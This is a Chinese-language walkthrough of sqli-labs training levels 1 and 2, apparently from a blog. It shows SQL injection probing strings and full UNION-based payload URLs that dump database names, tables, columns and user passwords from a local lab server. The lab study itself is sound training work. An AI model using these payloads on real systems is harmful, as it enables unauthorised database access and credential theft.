sqli-labs靶场练习

                          Sqli-labs靶场练习

来了来了,sql注入练习,这将会是很长的一段路。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。
Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程,游戏的目的就是学习sql注入的方法,得到数据库相关的东西,利用所学到的注入方法,就可以从多个方面进行防止sql注入。
Sqli-labs靶场安装这里就不再多说了,百度这个方案一直都很好用。
可以先看看差不多有多少关
sqli-labs靶场练习sqli-labs靶场练习

虽然界面上显示的是75关,但是搭建的靶场里面只有65关,后面更新添加后面10关。直接进入正题

Less-1 Error based – Single quotes – String(基于错误-单引号-字符串)

sqli-labs靶场练习

                      请输入ID作为带数值的参数

那么尝试将?id=1, ?id=1’, ?id=1” 分别添加到url中,查看返回。
?id=1
sqli-labs靶场练习

?id=1’
sqli-labs靶场练习

?id=1“
sqli-labs靶场练习

其中只有?id=1’报错,说明是字符型注入(且为单引号)
在错误的报告中,提交的sql中的1‘在经过sql语句构造后形成’1’’ LIMIT 0,1,其中多加了一个’,现在的目标就是将多余的’去掉。
尝试’or 1=1 --+
sqli-labs靶场练习

其中‘–+’代表的是注释,为了防止有过滤,在url的提交过程中会进行url编码,在这个环境里可行的注释方法有–+,–%20,%23,-- #。
这样构造的sql语句就变成了Select ****** where id=’1’ or 1=1–+ ‘LIMIT 0,1。
现在问为什么只有?id=1’报错?
因为Mysql查询并不严格,而在select * from users where id=’1’’ limit 0,1中有一个单引号没有闭合而报错,在select * from users where id=’1” ‘ limit 0,1中虽然多了一个双引号,但在mysql中会把它当成两个单引号,这样2个单引号又刚好闭合,所以查询时不会报错。
接下来就是爆数据库,爆表名,爆字段,以Less-2为例子一起进行。

Less-2 Error based – Intiger based(基于错误-基于整数)

同样尝试将?id=1 ?id=1’ ?id=1”添加到url中,其中?id=1’ ?id=1”报错,说明是数字型注入。
sqli-labs靶场练习sqli-labs靶场练习sqli-labs靶场练习

再测试:id=2 … id=3 …
sqli-labs靶场练习
sqli-labs靶场练习

然后测试是否具有注入点:
-1 or 1=1 --+
sqli-labs靶场练习

这样仍然显示正确的结果,所以这里存在注入点(id=-1是显然不存在的,但是or 1=1是一个正确的条件(ture),使查询语句又返回结果)
{一般判断是否存在注入点的语句:
or 1=1 --+
‘or 1=1 --+
“or 1=1 --+
)or 1=1 --+
‘)or 1=1 --+
“)or 1=1 --+
“))or 1=1 --+}
然后我们猜字段:
利用orde by n(整数),order by n对前面的数据进行排序,意义为对第n个列进行排序。
sqli-labs靶场练习sqli-labs靶场练习

当n=4时,结果报错,说明有3列。
知道了有多少列之后,再就利用union联合注入,当id的数据再数据库中不存在时,(我们可以让id=-1或者id=0,两个sql语句进行联合操作时,当前一个语句选择的内容为空,会将我们后面定义的查询语句的结果返回出来)
sqli-labs靶场练习

我们可对第2个和第3个字段进行操作。
在查询之前,我们还得了解些东西。
系统函数:
1.version()–MySQL版本
2.user()—数据库用户
3.database()—当前数据库名
4.@@datadir—数据库路径
5.@@version_compile_os—操作系统版本
数据库字符串连接函数;

  1. concat(str1,str2,…)—没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)—含有分隔符地连接字符串
  3. group_concat(str1,star2,…)–连接一个组得所有字符串,并以逗号分隔每一条数据
    正式开始:
    爆数据库:
    http://192.168.229.144/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
    sqli-labs靶场练习

(hackbar,火狐工具,安装方法可百度)
爆dvwa数据库的数据表:
http://192.168.229.144/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dvwa’ --+
sqli-labs靶场练习

爆users表的列:
http://192.168.229.144/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’ --+
sqli-labs靶场练习

爆users里的数据:
http://192.168.229.144/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users --+
sqli-labs靶场练习

上一篇:superforming的sql-labs大通关之第二部分(第11~16关)解析及注入方法


下一篇:sqli-labs系列——第五关